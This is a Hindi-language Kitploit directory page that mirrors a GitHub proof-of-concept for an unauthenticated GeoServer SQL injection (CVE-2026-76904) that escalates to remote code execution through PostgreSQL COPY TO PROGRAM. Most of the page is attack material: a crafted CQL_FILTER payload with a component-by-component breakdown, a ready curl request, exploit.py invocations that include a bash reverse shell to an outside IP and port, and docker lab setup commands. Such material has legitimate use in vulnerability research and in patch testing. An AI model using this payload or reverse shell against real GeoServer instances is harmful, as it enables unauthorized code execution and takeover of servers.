Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-76904 — One-Day POC | GeoServer Unauthenticated SQL injection to complete RCE | Kitploit
उपकरण/GitHubGitHub/yonliud/cve-2026-76904
Payload GenerationExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubyonliud/cve-2026-76904

CVE-2026-76904

One-Day POC | GeoServer Unauthenticated SQL injection to complete RCE

रिपॉजिटरी देखें
32921 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GeoServer SQL इंजेक्शन से RCE (ज़ीरो-डे)

CVE: CVE-2026-76904 | CVSS: 9.8 (गंभीर)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

यह भेद्यता GeoServer/GeoTools टीम द्वारा GHSA-mqjf-5f49-2fjh निर्दिष्ट की गई है और अगस्त 2026 से इसे सक्रिय रूप से एक्सप्लॉइट किया जा रहा है। इस भेद्यता के लिए पैच जारी कर दिया गया है, लेकिन चूँकि यह बहुत नई है (1786870173), इसलिए इसे अभी भी वेब पर व्यापक रूप से एक्सप्लॉइट किया जा रहा है।

21 अगस्त 2026 - CVE पहचानकर्ता प्राप्त हुआ: CVE-2026-76904

TLDR

GeoServer के jsonArrayContains फ़ंक्शन में बिना प्रमाणीकरण के SQL इंजेक्शन -> PostgreSQL COPY TO PROGRAM के माध्यम से रिमोट कोड एक्सेक्यूशन (RCE)।

भेद्यता

GeoServer (विशेष रूप से GeoTools) का jsonArrayContains फ़ंक्शन, जो PostgreSQL में JSON ऐरे को क्वेरी करने के लिए उपयोग किया जाता है, में एक गंभीर SQL इंजेक्शन भेद्यता है। तीसरा पैरामीटर () बिना किसी सैनिटाइज़ेशन, एस्केपिंग या पैरामीटर बाइंडिंग के SQL क्वेरी में जोड़ दिया जाता है।

expected
सीधे

विशेष रूप से यह:

root@kitploit:~
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')

गहन विश्लेषण

यह भेद्यता GeoTools की FilterToSqlHelper.constructEquality विधि से उत्पन्न होती है। jsonArrayContains फ़ंक्शन का तीसरा पैरामीटर (expected) बिना किसी एस्केपिंग के String.formatted() का उपयोग करके सीधे SQL स्ट्रिंग में लिखा जाता है।

root@kitploit:~
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);

यह खामी कोई नया बग नहीं है, बल्कि यह CVE-2023-25158 (एक समान CVSS 9.8 SQL इंजेक्शन भेद्यता) का रीग्रेशन है।

यह नई भेद्यता तब आई जब GEOT-7589 ने PostgreSQL 12+ के लिए jsonb_path_exists सपोर्ट जोड़ा। 2023 के पैच ने jsonArrayContains फ़ंक्शन को सुरक्षित नहीं किया, जिसे उस सुधार के बाद जोड़ा/संशोधित किया गया था।

डेमो

https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d

पेलोड

मूल रूप से यह:

root@kitploit:~
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true

पेलोड विवरण:

घटकउद्देश्य
jsonArrayContains(data,'/x','y")\'')तैयार किए गए तीसरे पैरामीटर के साथ फ़ंक्शन को कॉल करता है
OR 1=1))JSON पाथ और फ़ंक्शन कॉल को बंद करता है
AS gt_injected;व्युत्पन्न तालिका को उपनाम (alias) देता है
COPY (SELECT 1) TO PROGRAM 'COMMAND'PostgreSQL RCE कमांड
--')=trueशेष SQL को कमेंट कर देता है

मैन्युअल curl

root@kitploit:~
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
  --data-urlencode "service=WFS" \
  --data-urlencode "version=2.0.0" \
  --data-urlencode "request=GetFeature" \
  --data-urlencode "typeNames=topp:test_json" \
  --data-urlencode "outputFormat=application/json" \
  --data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"

WFS 2.0 क्लोज़र पैटर्न mhtsec के शोध से अनुकूलित है।

उपयोग

कोई भी curl चलाना नहीं चाहता, है न? यह रहा exploit.py का उपयोग

फ़ाइल निर्माण PoC

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
  --show-payload

RCE PoC

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
  --show-payload

लैब

सरलता के लिए एक docker-compose.yml प्रदान किया गया है ताकि PoC के साथ त्वरित शुरुआत की जा सके।

इसका उपयोग करके इनिशियलाइज़ेशन के बाद

root@kitploit:~
Docker compose up -d

हम उपलब्ध REST API का उपयोग करके वातावरण सेटअप कर सकते हैं

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<dataStore>
  <name>test_json_store</name>
  <connectionParameters>
    <entry key="host">db</entry>
    <entry key="port">5432</entry>
    <entry key="database">geoserver_data</entry>
    <entry key="user">geoserver</entry>
    <entry key="passwd">geoserver</entry>
    <entry key="dbtype">postgis</entry>
  </connectionParameters>
</dataStore>'

लेयर प्रकाशित करें

root@kitploit:~
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
  -u admin:geoserver \
  -H "Content-Type: application/xml" \
  -d '<featureType>
  <name>test_json</name>
  <nativeName>test_json</nativeName>
  <title>Test JSON Layer</title>
  <srs>EPSG:4326</srs>
</featureType>'

मूल X पोस्ट

अस्वीकरण

यह रिपॉज़िटरी GeoServer ;jsonArrayContains; ज़ीरो-डे SQL इंजेक्शन से RCE भेद्यता के लिए एक स्वतंत्र प्रूफ-ऑफ-कॉन्सेप्ट (PoC) एक्सप्लॉइट है। इस भेद्यता को मूल रूप से 秋风 (@q1uf3ng) द्वारा खोजा और प्रकट किया गया था। एक्सप्लॉइट श्रृंखला को नियंत्रित लैब वातावरण में पुनः निर्मित और मान्य किया गया है।

यह परियोजना केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और पृथक प्रयोगशाला वातावरण में परीक्षण के लिए है।

मालिक से स्पष्ट प्राधिकरण के बिना इस सॉफ़्टवेयर का उपयोग सिस्टम, नेटवर्क या डेटा के विरुद्ध न करें। सभी लागू कानूनों का पालन करने और इस परियोजना के उपयोग से उत्पन्न किसी भी परिणाम के लिए आप पूरी तरह ज़िम्मेदार हैं।

लेखक, YonLiud, इस परियोजना को बिना किसी प्रकार की वारंटी के “जैसा है” (as is) प्रदान करता है, और इस सॉफ़्टवेयर या व्युत्पन्न कार्यों से होने वाली क्षति, डेटा हानि, सेवा व्यवधान, अनधिकृत पहुँच या अन्य दुरुपयोग के लिए कोई ज़िम्मेदारी स्वीकार नहीं करता है।

इस परियोजना का उपयोग करके, आप इन शर्तों को स्वीकार करते हैं।

टूल डाउनलोड करें